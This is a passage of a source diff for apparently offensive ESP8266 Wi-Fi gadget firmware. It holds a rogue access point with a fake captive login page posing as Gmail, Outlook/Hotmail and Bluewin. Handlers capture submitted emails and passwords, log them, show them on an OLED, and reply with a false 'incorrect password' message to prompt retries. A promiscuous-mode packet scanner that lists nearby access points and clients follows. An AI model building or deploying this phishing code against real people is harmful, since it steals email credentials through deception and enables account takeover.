input[type=email]:focus, input[type=password]:focus {
|
||||
border-color: #86b7fe; /* Highlight border on focus */
|
||||
outline: 0;
|
||||
box-shadow: 0 0 0 0.2rem rgba(13, 110, 253, 0.25); /* Subtle glow on focus */
|
||||
}
|
||||
button {
|
||||
background-color: #0d6efd; /* Updated Bootstrap blue */
|
||||
color: white;
|
||||
padding: 12px 20px;
|
||||
border: none;
|
||||
border-radius: 5px; /* Slightly more rounded */
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
font-size: 1.05em; /* Slightly larger button text */
|
||||
font-weight: 500;
|
||||
margin-top: 15px; /* Added margin */
|
||||
transition: background-color 0.2s ease;
|
||||
}
|
||||
button:hover {
|
||||
background-color: #0b5ed7; /* Darker blue on hover */
|
||||
}
|
||||
.error {
|
||||
color: #dc3545; /* Standard error red */
|
||||
background-color: #f8d7da; /* Light red background for error */
|
||||
border: 1px solid #f5c2c7;
|
||||
border-radius: 4px;
|
||||
padding: 10px 15px;
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
font-weight: 500; /* Bolder error text */
|
||||
font-size: 0.9em;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h2>Secure Login Required</h2>
|
||||
<h3>Gmail, Outlook/Hotmail, and Bluewin (Swisscom)</h3>
|
||||
<p class="error">%s</p> <!-- Error message placeholder -->
|
||||
<form action="/login" method="POST">
|
||||
<label for="username">Username or Email</label>
|
||||
<input type="email" id="username" name="username" placeholder="Enter your email address" required>
|
||||
<label for="password">Password</label>
|
||||
<input type="password" id="password" name="password" placeholder="Enter your password" required>
|
||||
<button type="submit">Connect</button>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
)rawliteral";
|
||||
|
||||
// --- Helper to Send HTML (Chunked, similar to MitM) ---
|
||||
void sendCaptivePortalHTML_Rogue(const char* error_message) {
|
||||
const char* errorPlaceholderPos = strstr(captivePortalHTML_Rogue, "%s");
|
||||
|
||||
if (!errorPlaceholderPos) {
|
||||
Serial.println("Rogue AP Web Helper: Error! Placeholder not found in HTML.");
|
||||
webServer_rogue.send(500, "text/plain", "Internal Server Error: Portal template invalid.");
|
||||
return;
|
||||
}
|
||||
|
||||
size_t part1Len = errorPlaceholderPos - captivePortalHTML_Rogue;
|
||||
size_t errorLen = strlen(error_message);
|
||||
size_t part2Len = strlen(errorPlaceholderPos + 2);
|
||||
size_t totalLen = part1Len + errorLen + part2Len;
|
||||
|
||||
webServer_rogue.setContentLength(totalLen);
|
||||
webServer_rogue.send(200, "text/html", ""); // Send headers
|
||||
|
||||
webServer_rogue.sendContent_P(captivePortalHTML_Rogue, part1Len);
|
||||
webServer_rogue.sendContent(error_message, errorLen);
|
||||
webServer_rogue.sendContent_P(errorPlaceholderPos + 2, part2Len);
|
||||
|
||||
webServer_rogue.client().stop(); // Close connection
|
||||
Serial.println("Rogue AP Web Helper: Finished sending chunked response.");
|
||||
}
|
||||
|
||||
|
||||
// --- Web Server Handlers ---
|
||||
void handleRoot_Rogue() {
|
||||
Serial.println("Rogue AP Web: Serving root page.");
|
||||
// In this version, we always show the login page.
|
||||
// Could add logic to show an error message on subsequent visits.
|
||||
sendCaptivePortalHTML_Rogue(""); // Send with empty error message initially
|
||||
}
|
||||
|
||||
void handleLogin_Rogue() {
|
||||
Serial.println("Rogue AP Web: Received POST to /login");
|
||||
|
||||
// Check if we have space to log more credentials
|
||||
if (captured_creds_count >= MAX_ROGUE_LOGS) {
|
||||
Serial.println("Rogue AP Web: Log full, ignoring new submission.");
|
||||
// Redirect back with an error or generic message
|
||||
sendCaptivePortalHTML_Rogue("Login temporarily unavailable. Please try again later.");
|
||||
return;
|
||||
}
|
||||
|
||||
// Capture credentials
|
||||
RogueCapturedCredentials& current_log = captured_credentials_log[next_log_slot];
|
||||
memset(¤t_log, 0, sizeof(RogueCapturedCredentials)); // Clear slot first
|
||||
|
||||
if (webServer_rogue.hasArg("username")) strncpy(current_log.username, webServer_rogue.arg("username").c_str(), ROGUE_MAX_FIELD_LEN);
|
||||
if (webServer_rogue.hasArg("password")) strncpy(current_log.password, webServer_rogue.arg("password").c_str(), ROGUE_MAX_FIELD_LEN);
|
||||
|
||||
current_log.data_present = true; // Mark slot as containing data
|
||||
|
||||
Serial.println("Rogue AP Web: Credentials captured:");
|
||||
Serial.printf(" User: %s \n Pass: %s\n", current_log.username, current_log.password);
|
||||
|
||||
// Update log tracking
|
||||
next_log_slot = (next_log_slot + 1) % MAX_ROGUE_LOGS;
|
||||
captured_creds_count = min(captured_creds_count + 1, MAX_ROGUE_LOGS); // Increment count, cap at max
|
||||
|
||||
// Trigger UI alert
|
||||
new_capture_flag = true;
|
||||
capture_alert_start_time = millis();
|
||||
needsRedraw = true;
|
||||
|
||||
// Send a generic "incorrect password" or "connecting" message and redirect
|
||||
// This makes the user think they mistyped or are being connected
|
||||
sendCaptivePortalHTML_Rogue("Incorrect password or connection error. Please try again.");
|
||||
|
||||
// Alternatively, redirect back to root immediately:
|
||||
// webServer_rogue.sendHeader("Location", "/", true);
|
||||
// webServer_rogue.send(302, "text/plain", "Redirecting...");
|
||||
}
|
||||
|
||||
void handleNotFound_Rogue() {
|
||||
Serial.println("Rogue AP Web: handleNotFound triggered, redirecting to root.");
|
||||
webServer_rogue.sendHeader("Location", "/", true); // Redirect to root (captive portal trigger)
|
||||
webServer_rogue.send(302, "text/plain", "");
|
||||
}
|
||||
|
||||
// --- Draw Rogue AP UI ---
|
||||
void rogue_ap_draw() {
|
||||
oled.setFont(u8g2_font_6x10_tf); // Base font
|
||||
|
||||
switch (currentRogueAPState) {
|
||||
case ROGUE_AP_STATE_IDLE:
|
||||
oled.drawStr(0, 25, "Rogue AP Ready");
|
||||
oled.setFont(u8g2_font_5x7_tf); // Smaller font for prompt
|
||||
oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Select SSID");
|
||||
break;
|
||||
|
||||
case ROGUE_AP_STATE_SELECT_SSID:
|
||||
{
|
||||
// oled.drawStr(0, 20, "Select Rogue SSID:"); // Title position
|
||||
int yPos = 22; // Start list higher
|
||||
int line_height = 9; // Smaller line height for 5x7 font
|
||||
const int items_per_page = 4; // Show 4 SSIDs
|
||||
|
||||
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for list
|
||||
|
||||
for (int i = 0; i < items_per_page; ++i) {
|
||||
int current_item_index = display_ssid_offset + i;
|
||||
if (current_item_index >= ROGUE_AP_SSID_COUNT) break;
|
||||
|
||||
char buffer[40];
|
||||
char select_char = (current_item_index == selected_ssid_index) ? '>' : ' ';
|
||||
snprintf(buffer, sizeof(buffer), "%c %s", select_char, rogue_ap_ssid_options[current_item_index]);
|
||||
oled.drawStr(0, yPos + (i * line_height), buffer);
|
||||
}
|
||||
|
||||
// Draw scroll indicators
|
||||
if (ROGUE_AP_SSID_COUNT > items_per_page) {
|
||||
if (display_ssid_offset > 0) oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up arrow (Adjust Y)
|
||||
if (display_ssid_offset + items_per_page < ROGUE_AP_SSID_COUNT) oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down arrow
|
||||
}
|
||||
|
||||
oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Scroll L:Start AP");
|
||||
}
|
||||
break;
|
||||
|
||||
case ROGUE_AP_STATE_STARTING:
|
||||
oled.drawStr(0, 35, "Starting Rogue AP...");
|
||||
break;
|
||||
|
||||
case ROGUE_AP_STATE_RUNNING:
|
||||
{
|
||||
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for the title
|
||||
oled.drawStr(0, 22, "Rogue AP Active:"); // Moved down slightly
|
||||
oled.setFont(u8g2_font_6x10_tf); // Set back to default font
|
||||
oled.drawStr(4, 32, active_ssid); // Show active SSID
|
||||
|
||||
char status_buffer[25];
|
||||
char footer_buffer[25];
|
||||
|
||||
bool show_alert = new_capture_flag && (millis() - capture_alert_start_time < CAPTURE_ALERT_DURATION);
|
||||
|
||||
if (captured_creds_count > 0) {
|
||||
snprintf(status_buffer, sizeof(status_buffer), "Captured: %d", captured_creds_count);
|
||||
snprintf(footer_buffer, sizeof(footer_buffer), "S:View Logs L:Stop");
|
||||
} else {
|
||||
snprintf(status_buffer, sizeof(status_buffer), "Waiting... %c", waiting_anim_char_rogue);
|
||||
snprintf(footer_buffer, sizeof(footer_buffer), "LONG: Stop");
|
||||
}
|
||||
|
||||
int status_y = 46;
|
||||
if (show_alert) {
|
||||
// Simple invert effect for capture alert
|
||||
int text_width = oled.getStrWidth(status_buffer);
|
||||
oled.setDrawColor(1); // Set color to foreground (white)
|
||||
oled.drawBox(0, status_y - 10 + 1, text_width + 2, 10 + 1); // Draw white box behind text area
|
||||
oled.setDrawColor(0); // Set color to background (black) for text
|
||||
oled.drawStr(1, status_y, status_buffer); // Draw text slightly offset
|
||||
oled.setDrawColor(1); // Reset draw color
|
||||
} else {
|
||||
oled.drawStr(0, status_y, status_buffer); // Draw normally
|
||||
}
|
||||
|
||||
oled.setFont(u8g2_font_5x7_tf); // Smaller font for footer
|
||||
oled.drawStr(0, SCREEN_HEIGHT - 1, footer_buffer);
|
||||
}
|
||||
break;
|
||||
|
||||
case ROGUE_AP_STATE_VIEW_LOGS:
|
||||
{
|
||||
// --- Draw Title Line ---
|
||||
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for title elements
|
||||
int yPos = 22; // Starting Y for the title line
|
||||
const char* titleText = "Captured Creds:";
|
||||
oled.drawStr(0, yPos, titleText);
|
||||
int titleWidth = oled.getStrWidth(titleText);
|
||||
|
||||
if (captured_creds_count > 0) {
|
||||
char logCountBuffer[15];
|
||||
snprintf(logCountBuffer, sizeof(logCountBuffer), " Log %d/%d",
|
||||
view_log_scroll_offset + 1,
|
||||
captured_creds_count);
|
||||
oled.drawStr(titleWidth + 2, yPos, logCountBuffer); // Draw next to title
|
||||
}
|
||||
yPos += 10; // Move down for next content line (adjust gap as needed)
|
||||
|
||||
// --- Draw Log Content ---
|
||||
if (captured_creds_count == 0) {
|
||||
oled.setFont(u8g2_font_6x10_tf); // Back to default for message
|
||||
oled.drawStr(10, 40, "[No Logs]");
|
||||
} else {
|
||||
oled.setFont(u8g2_font_5x7_tf); // Keep smaller font for logs
|
||||
int line_height = 8; // Height for 5x7 font
|
||||
|
||||
// Draw scroll indicators (position adjusted slightly)
|
||||
if (captured_creds_count > 1) {
|
||||
if (view_log_scroll_offset > 0) oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up arrow
|
||||
if (view_log_scroll_offset < captured_creds_count - 1) oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down arrow
|
||||
}
|
||||
|
||||
// Calculate actual index
|
||||
int start_idx = (captured_creds_count <= MAX_ROGUE_LOGS) ? 0 : next_log_slot;
|
||||
int actual_idx = (start_idx + view_log_scroll_offset) % MAX_ROGUE_LOGS;
|
||||
const RogueCapturedCredentials& log = captured_credentials_log[actual_idx];
|
||||
|
||||
if (log.data_present) {
|
||||
char userBuffer[ROGUE_MAX_FIELD_LEN + 15];
|
||||
snprintf(userBuffer, sizeof(userBuffer), "User: %s", log.username);
|
||||
oled.drawStr(2, yPos, userBuffer); yPos += line_height;
|
||||
|
||||
// Draw Password with wrapping
|
||||
const char* passLabel = "Pass: ";
|
||||
oled.drawStr(2, yPos, passLabel); // Draw label
|
||||
int passLabelWidth = oled.getStrWidth(passLabel);
|
||||
int passXOffset = 2 + passLabelWidth + 2; // X offset for password value
|
||||
int maxCharsPerLine = 19; // Max chars before wrap
|
||||
int passLen = strlen(log.password);
|
||||
|
||||
char passChunkBuffer[maxCharsPerLine + 1];
|
||||
if (passLen > maxCharsPerLine) {
|
||||
// First line
|
||||
strncpy(passChunkBuffer, log.password, maxCharsPerLine);
|
||||
passChunkBuffer[maxCharsPerLine] = '\0';
|
||||
oled.drawStr(passXOffset, yPos, passChunkBuffer);
|
||||
yPos += line_height; // Move to next line
|
||||
// Second line (remaining chars)
|
||||
strncpy(passChunkBuffer, log.password + maxCharsPerLine, maxCharsPerLine);
|
||||
passChunkBuffer[maxCharsPerLine] = '\0'; // Ensure termination even if passLen > 2*maxCharsPerLine
|
||||
oled.drawStr(passXOffset, yPos, passChunkBuffer); // Draw indented
|
||||
} else {
|
||||
// No wrapping needed
|
||||
oled.drawStr(passXOffset, yPos, log.password);
|
||||
}
|
||||
yPos += line_height + 2; // Extra gap after password block
|
||||
|
||||
} else {
|
||||
oled.setFont(u8g2_font_6x10_tf); // Back to default font for message
|
||||
oled.drawStr(10, yPos + 5, "[Log Empty]"); // Adjusted position
|
||||
}
|
||||
}
|
||||
oled.setFont(u8g2_font_5x7_tf); // Ensure footer uses small font
|
||||
oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Next Log L:Back");
|
||||
}
|
||||
break;
|
||||
|
||||
case ROGUE_AP_STATE_STOPPING:
|
||||
oled.drawStr(0, 35, "Stopping Rogue AP...");
|
||||
break;
|
||||
|
||||
default:
|
||||
oled.drawStr(0, 35, "Rogue AP: Unknown State");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Handle Button Input ---
|
||||
void rogue_ap_handle_input(ButtonPressType pressType) {
|
||||
switch (currentRogueAPState) {
|
||||
case ROGUE_AP_STATE_IDLE:
|
||||
if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
currentRogueAPState = ROGUE_AP_STATE_SELECT_SSID;
|
||||
selected_ssid_index = 0; // Reset selection
|
||||
display_ssid_offset = 0;
|
||||
needsRedraw = true;
|
||||
}
|
||||
break;
|
||||
|
||||
case ROGUE_AP_STATE_SELECT_SSID:
|
||||
{
|
||||
const int items_per_page = 4; // Match drawing
|
||||
if (pressType == ButtonPressType::SHORT_PRESS) {
|
||||
// Scroll down through SSIDs
|
||||
selected_ssid_index = (selected_ssid_index + 1) % ROGUE_AP_SSID_COUNT;
|
||||
// Adjust display offset
|
||||
if (selected_ssid_index < display_ssid_offset) display_ssid_offset = selected_ssid_index; // Wrap top
|
||||
else if (selected_ssid_index >= display_ssid_offset + items_per_page) display_ssid_offset = selected_ssid_index - items_per_page + 1; // Scroll down
|
||||
needsRedraw = true;
|
||||
} else if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
// Select SSID and attempt to start
|
||||
rogue_ap_start();
|
||||
// State changes handled within rogue_ap_start()
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case ROGUE_AP_STATE_RUNNING:
|
||||
if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
rogue_ap_stop();
|
||||
} else if (pressType == ButtonPressType::SHORT_PRESS) {
|
||||
// Enter log view only if logs exist
|
||||
if (captured_creds_count > 0) {
|
||||
currentRogueAPState = ROGUE_AP_STATE_VIEW_LOGS;
|
||||
view_log_scroll_offset = 0; // Start at the first log
|
||||
needsRedraw = true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case ROGUE_AP_STATE_VIEW_LOGS:
|
||||
if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
currentRogueAPState = ROGUE_AP_STATE_RUNNING; // Go back to running screen
|
||||
needsRedraw = true;
|
||||
} else if (pressType == ButtonPressType::SHORT_PRESS) {
|
||||
// Scroll to the next log entry
|
||||
if (captured_creds_count > 1) { // Only scroll if more than one
|
||||
view_log_scroll_offset = (view_log_scroll_offset + 1) % captured_creds_count;
|
||||
needsRedraw = true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case ROGUE_AP_STATE_STARTING:
|
||||
case ROGUE_AP_STATE_STOPPING:
|
||||
// Ignore input during transitions
|
||||
break;
|
||||
|
||||
default: // Go back to idle on long press from unknown state
|
||||
if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
currentRogueAPState = ROGUE_AP_STATE_IDLE;
|
||||
needsRedraw = true;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
45
src/rogue_ap.h
Normal file
45
src/rogue_ap.h
Normal file
@ -0,0 +1,45 @@
|
||||
#ifndef ROGUE_AP_H
|
||||
#define ROGUE_AP_H
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <ESP8266WiFi.h>
|
||||
#include "ui.h" // For ButtonPressType, UIState
|
||||
|
||||
// --- Rogue AP States ---
|
||||
typedef enum {
|
||||
ROGUE_AP_STATE_IDLE, // Initial state, ready to select SSID
|
||||
ROGUE_AP_STATE_SELECT_SSID, // User is selecting from the predefined list
|
||||
ROGUE_AP_STATE_STARTING, // Setting up the AP and servers
|
||||
ROGUE_AP_STATE_RUNNING, // AP is active, waiting for connections/credentials
|
||||
ROGUE_AP_STATE_VIEW_LOGS, // Displaying captured credentials
|
||||
ROGUE_AP_STATE_STOPPING // Shutting down the AP and servers
|
||||
} RogueAPState;
|
||||
|
||||
// --- Constants ---
|
||||
#define ROGUE_AP_SSID_COUNT 17
|
||||
#define MAX_ROGUE_LOGS 5 // Max number of credential sets to store
|
||||
#define ROGUE_MAX_FIELD_LEN 64 // Max length for username/password fields
|
||||
|
||||
// --- Structure for Captured Credentials ---
|
||||
typedef struct {
|
||||
char username[ROGUE_MAX_FIELD_LEN + 1]; // Single username/email field
|
||||
char password[ROGUE_MAX_FIELD_LEN + 1]; // Single password field
|
||||
bool data_present; // Flag to check if this entry contains captured data
|
||||
} RogueCapturedCredentials;
|
||||
|
||||
|
||||
// --- External Variables (Defined in .cpp) ---
|
||||
extern const char* rogue_ap_ssid_options[ROGUE_AP_SSID_COUNT];
|
||||
extern RogueAPState currentRogueAPState;
|
||||
extern RogueCapturedCredentials captured_credentials_log[MAX_ROGUE_LOGS];
|
||||
extern int captured_creds_count; // How many sets have been captured
|
||||
|
||||
// --- Function Declarations ---
|
||||
void rogue_ap_init();
|
||||
void rogue_ap_start(); // Function to initiate the AP start sequence
|
||||
void rogue_ap_stop();
|
||||
void rogue_ap_update();
|
||||
void rogue_ap_draw();
|
||||
void rogue_ap_handle_input(ButtonPressType pressType);
|
||||
|
||||
#endif // ROGUE_AP_H
|
412
src/scanner.cpp
Normal file
412
src/scanner.cpp
Normal file
@ -0,0 +1,412 @@
|
||||
#include "scanner.h"
|
||||
#include "config.h"
|
||||
#include "utils.h"
|
||||
#include "ui.h"
|
||||
#include <vector>
|
||||
#include <U8g2lib.h>
|
||||
|
||||
// --- Global Variable Definitions ---
|
||||
AccessPointInfo ap_list[MAX_APS];
|
||||
uint8_t ap_count = 0;
|
||||
StationInfo sta_list[MAX_STAS];
|
||||
uint8_t sta_count = 0;
|
||||
uint8_t current_channel = DEFAULT_WIFI_CHANNEL;
|
||||
bool scanner_active = false;
|
||||
static unsigned long last_channel_hop_time = 0;
|
||||
static int selected_list_index = 0;
|
||||
static int display_offset = 0;
|
||||
|
||||
// --- External UI Elements ---
|
||||
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
|
||||
extern bool needsRedraw;
|
||||
|
||||
// --- Initialization ---
|
||||
void scanner_init() {
|
||||
Serial.println("Scanner Initialized.");
|
||||
ap_count = 0;
|
||||
sta_count = 0;
|
||||
scanner_active = false;
|
||||
selected_list_index = 0;
|
||||
display_offset = 0;
|
||||
needsRedraw = true;
|
||||
}
|
||||
|
||||
// --- Stop Scanner ---
|
||||
void scanner_stop() {
|
||||
if (scanner_active) {
|
||||
Serial.println("Stopping Scanner...");
|
||||
wifi_promiscuous_enable(0);
|
||||
scanner_active = false;
|
||||
Serial.println("Scanner Stopped.");
|
||||
needsRedraw = true;
|
||||
} else {
|
||||
Serial.println("Scanner already stopped.");
|
||||
}
|
||||
}
|
||||
|
||||
// --- Main Update Loop ---
|
||||
void scanner_update() {
|
||||
if (!scanner_active) {
|
||||
Serial.println("Scanner Update: Enabling promiscuous mode.");
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
wifi_set_promiscuous_rx_cb(packet_capture_callback);
|
||||
wifi_promiscuous_enable(1);
|
||||
scanner_set_channel(current_channel);
|
||||
scanner_active = true;
|
||||
last_channel_hop_time = millis();
|
||||
}
|
||||
|
||||
unsigned long current_time = millis();
|
||||
|
||||
if (current_time - last_channel_hop_time > SCAN_CHANNEL_HOP_INTERVAL) {
|
||||
current_channel++;
|
||||
if (current_channel > 13) {
|
||||
current_channel = 1;
|
||||
}
|
||||
scanner_set_channel(current_channel);
|
||||
last_channel_hop_time = current_time;
|
||||
needsRedraw = true;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Set WiFi Channel ---
|
||||
void scanner_set_channel(uint8_t channel) {
|
||||
if (channel < 1 || channel > 14) {
|
||||
Serial.printf("Invalid channel: %d\n", channel);
|
||||
return;
|
||||
}
|
||||
current_channel = channel;
|
||||
wifi_set_channel(current_channel);
|
||||
}
|
||||
|
||||
// --- Packet Capture Callback (Called by SDK) ---
|
||||
void packet_capture_callback(uint8_t *buf, uint16_t len) {
|
||||
if (!scanner_active || buf == nullptr || len <= sizeof(wifi_promiscuous_pkt_t)) {
|
||||
return;
|
||||
}
|
||||
|
||||
wifi_promiscuous_pkt_t *packet = (wifi_promiscuous_pkt_t*)buf;
|
||||
process_wifi_packet(packet->payload, len - sizeof(wifi_pkt_rx_ctrl_t));
|
||||
}
|
||||
|
||||
// --- Process Captured WiFi Packet ---
|
||||
void process_wifi_packet(uint8_t *payload, uint16_t payload_len) {
|
||||
if (payload_len < sizeof(mac_header_t)) {
|
||||
return;
|
||||
}
|
||||
|
||||
mac_header_t *header = (mac_header_t*)payload;
|
||||
wifi_promiscuous_pkt_t *packet = nullptr;
|
||||
if (payload >= (uint8_t*)sizeof(wifi_pkt_rx_ctrl_t)) {
|
||||
packet = (wifi_promiscuous_pkt_t*)(payload - sizeof(wifi_pkt_rx_ctrl_t));
|
||||
} else {
|
||||
Serial.println("ERROR: Cannot calculate packet pointer!");
|
||||
return;
|
||||
}
|
||||
|
||||
if (packet == nullptr) {
|
||||
Serial.println("ERROR: Invalid packet pointer calculated!");
|
||||
return;
|
||||
}
|
||||
|
||||
int8_t rssi = packet->rx_ctrl.rssi;
|
||||
uint8_t channel = packet->rx_ctrl.channel;
|
||||
|
||||
uint8_t type = header->frame_control.type;
|
||||
uint8_t subtype = header->frame_control.subtype;
|
||||
|
||||
// Identify APs (Beacons and Probe Responses)
|
||||
if (type == 0 && (subtype == 0x08 || subtype == 0x05)) {
|
||||
uint16_t expected_min_len = sizeof(mac_header_t) + sizeof(beacon_probe_fixed_params_t);
|
||||
if (payload_len >= expected_min_len) {
|
||||
beacon_probe_fixed_params_t *params = (beacon_probe_fixed_params_t*)(payload + sizeof(mac_header_t));
|
||||
uint8_t* tagged_params_start = payload + sizeof(mac_header_t) + sizeof(beacon_probe_fixed_params_t);
|
||||
uint16_t tagged_params_len = payload_len - expected_min_len;
|
||||
add_or_update_ap(header, params, rssi, channel, tagged_params_start, tagged_params_len);
|
||||
needsRedraw = true;
|
||||
} else {
|
||||
}
|
||||
}
|
||||
// Identify Stations (From various frame types)
|
||||
else {
|
||||
if (header->addr2[0] != 0xFF && header->addr2[0] != 0x01) {
|
||||
uint8_t* bssid = nullptr;
|
||||
if (header->frame_control.flags & 0x01) {
|
||||
bssid = header->addr1;
|
||||
} else if (header->frame_control.flags & 0x02) {
|
||||
bssid = header->addr3;
|
||||
} else {
|
||||
if (header->addr3[0] != 0xFF && header->addr3[0] != 0x01) {
|
||||
bssid = header->addr3;
|
||||
}
|
||||
}
|
||||
if (bssid && bssid[0] != 0xFF && bssid[0] != 0x01 && bssid[0] != 0x00) {
|
||||
add_or_update_sta(header->addr2, bssid, rssi);
|
||||
needsRedraw = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Find Existing AP by BSSID ---
|
||||
int find_ap(const uint8_t* bssid) {
|
||||
for (int i = 0; i < ap_count; ++i) {
|
||||
if (memcmp(ap_list[i].bssid, bssid, 6) == 0) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// --- Find Existing Station by MAC ---
|
||||
int find_sta(const uint8_t* mac) {
|
||||
for (int i = 0; i < sta_count; ++i) {
|
||||
if (memcmp(sta_list[i].mac, mac, 6) == 0) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// --- Add or Update Access Point Info ---
|
||||
void add_or_update_ap(const mac_header_t* header, const beacon_probe_fixed_params_t* params, int8_t rssi, uint8_t channel, const uint8_t* tagged_params, uint16_t tagged_params_len) {
|
||||
const uint8_t* bssid = header->addr3;
|
||||
int index = find_ap(bssid);
|
||||
|
||||
if (index == -1) {
|
||||
if (ap_count < MAX_APS) {
|
||||
index = ap_count;
|
||||
memcpy(ap_list[index].bssid, bssid, 6);
|
||||
ap_list[index].ssid[0] = '\0';
|
||||
ap_list[index].packet_count = 0;
|
||||
ap_count++;
|
||||
Serial.printf("New AP: %s (RSSI: %d, Ch: %d)\n", macToString(bssid).c_str(), rssi, channel);
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
}
|
||||
|
||||
ap_list[index].rssi = rssi;
|
||||
ap_list[index].channel = channel;
|
||||
ap_list[index].last_seen = millis();
|
||||
ap_list[index].packet_count++;
|
||||
ap_list[index].selected = false;
|
||||
|
||||
// Parse Tagged Parameters for SSID
|
||||
uint16_t pos = 0;
|
||||
bool ssid_found = false;
|
||||
|
||||
while (pos + 1 < tagged_params_len) {
|
||||
uint8_t tag_num = tagged_params[pos];
|
||||
uint8_t tag_len = tagged_params[pos + 1];
|
||||
|
||||
if (pos + 2 + tag_len > tagged_params_len) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (tag_num == 0) {
|
||||
ssid_found = true;
|
||||
if (tag_len == 0) {
|
||||
ap_list[index].ssid[0] = '\0';
|
||||
} else {
|
||||
uint16_t copy_len = (tag_len >= MAX_SSID_LEN) ? (MAX_SSID_LEN - 1) : tag_len;
|
||||
if (pos + 2 + copy_len <= tagged_params_len) {
|
||||
memcpy(ap_list[index].ssid, tagged_params + pos + 2, copy_len);
|
||||
ap_list[index].ssid[copy_len] = '\0';
|
||||
} else {
|
||||
ap_list[index].ssid[0] = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pos += 2 + tag_len;
|
||||
}
|
||||
|
||||
if (!ssid_found) {
|
||||
ap_list[index].ssid[0] = '\0';
|
||||
}
|
||||
|
||||
ap_list[index].encryption = get_encryption_type(params->capability_info, tagged_params, tagged_params_len);
|
||||
}
|
||||
|
||||
// --- Add or Update Station Info ---
|
||||
void add_or_update_sta(const uint8_t* mac, const uint8_t* bssid, int8_t rssi) {
|
||||
int index = find_sta(mac);
|
||||
|
||||
if (index == -1) {
|
||||
if (sta_count < MAX_STAS) {
|
||||
index = sta_count;
|
||||
memcpy(sta_list[index].mac, mac, 6);
|
||||
sta_list[index].packet_count = 0;
|
||||
sta_count++;
|
||||
Serial.printf("New STA: %s (AP: %s)\n", macToString(mac).c_str(), macToString(bssid).c_str());
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
sta_list[index].rssi = rssi;
|
||||
sta_list[index].last_seen = millis();
|
||||
sta_list[index].packet_count++;
|
||||
sta_list[index].selected = false;
|
||||
memcpy(sta_list[index].bssid_ap, bssid, 6);
|
||||
}
|
||||
|
||||
|
||||
// --- Determine Encryption Type ---
|
||||
EncryptionType get_encryption_type(const uint16_t capabilities, const uint8_t* tagged_params, uint16_t tagged_params_len) {
|
||||
bool privacy_bit = capabilities & 0x0010;
|
||||
|
||||
if (!privacy_bit) {
|
||||
return EncryptionType::OPEN;
|
||||
}
|
||||
|
||||
bool found_wpa = false;
|
||||
bool found_rsn = false;
|
||||
|
||||
uint16_t pos = 0;
|
||||
while (pos + 1 < tagged_params_len) {
|
||||
uint8_t tag_num = tagged_params[pos];
|
||||
uint8_t tag_len = tagged_params[pos + 1];
|
||||
|
||||
if (pos + 2 + tag_len > tagged_params_len) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (tag_num == 0xDD && tag_len >= 4) {
|
||||
if (tagged_params[pos + 2] == 0x00 && tagged_params[pos + 3] == 0x50 &&
|
||||
tagged_params[pos + 4] == 0xF2 && tagged_params[pos + 5] == 0x01) {
|
||||
found_wpa = true;
|
||||
}
|
||||
}
|
||||
else if (tag_num == 0x30 && tag_len >= 2) {
|
||||
found_rsn = true;
|
||||
}
|
||||
|
||||
pos += 2 + tag_len;
|
||||
}
|
||||
|
||||
if (found_rsn && found_wpa) {
|
||||
return EncryptionType::WPA_WPA2_PSK;
|
||||
}
|
||||
if (found_rsn) {
|
||||
return EncryptionType::WPA2_PSK;
|
||||
}
|
||||
if (found_wpa) {
|
||||
return EncryptionType::WPA_PSK;
|
||||
}
|
||||
return EncryptionType::WEP;
|
||||
}
|
||||
|
||||
// --- Convert Encryption Enum to String ---
|
||||
String encryption_to_string(EncryptionType enc) {
|
||||
switch (enc) {
|
||||
case EncryptionType::OPEN: return "Open";
|
||||
case EncryptionType::WEP: return "WEP";
|
||||
case EncryptionType::WPA_PSK: return "WPA";
|
||||
case EncryptionType::WPA2_PSK: return "WPA2";
|
||||
case EncryptionType::WPA_WPA2_PSK: return "WPA/2";
|
||||
case EncryptionType::WPA2_ENTERPRISE: return "WPA2-E";
|
||||
default: return "Unkn";
|
||||
}
|
||||
}
|
||||
|
||||
